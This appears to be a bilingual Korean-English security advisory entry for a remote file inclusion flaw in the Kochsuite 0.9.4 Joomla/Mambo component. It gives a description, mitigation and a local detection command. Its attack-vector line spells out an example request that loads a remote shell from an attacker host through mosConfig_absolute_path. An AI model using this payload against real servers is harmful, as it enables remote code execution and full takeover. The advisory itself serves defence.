🇰🇷 한글 설명
Kochsuite 0.9.4 컴포넌트의 config.kochsuite.php에 존재하는 원격 파일 포함(RFI) 취약점으로, mosConfig_absolute_path 파라미터를 조작하여 원격의 악의적인 PHP 파일을 로드하고 실행할 수 있다. 공격자는 이를 통해 대상 웹서버에서 임의의 PHP 코드를 실행하여 전체 시스템을 제어할 수 있다.
💡 쉬운 설명
Joomla/Mambo 확장프로그램의 설정 파일 경로 입력창에 외부 악성 파일 주소를 입력하면, 서버가 그 파일을 다운로드해 실행시킨다. 공격자가 서버를 완전히 장악할 수 있는 매우 위험한 취약점이다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in config.kochsuite.php in the Kochsuite (com_kochsuite) 0.9.4 component for Mambo and Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.
📍 영향받는 시스템
Kochsuite 0.9.4 (Mambo, Joomla), 동일 RFI 패턴의 다른 과거 Joomla 컴포넌트
⚔️ 공격 벡터
GET/POST 요청으로 mosConfig_absolute_path에 외부 URL 입력 (예: index.php?mosConfig_absolute_path=http://attacker.com/shell.php)
🛡️ 대응 방법
Kochsuite를 0.9.5 이상으로 업그레이드하거나 컴포넌트 제거. 웹애플리케이션 방화벽(WAF)으로 의심스러운 파라미터 필터링
🔧 검증 코드
Kochsuite 컴포넌트 디렉토리를 찾아 mosConfig_absolute_path 파라미터가 포함된 파일 존재 여부 확인. 결과가 없으면 미설치 상태
find /var/www -name 'kochsuite*' -type d 2>/dev/null | head -1 | xargs grep -l 'mosConfig_absolute_path' 2>/dev/null || echo 'Not installed'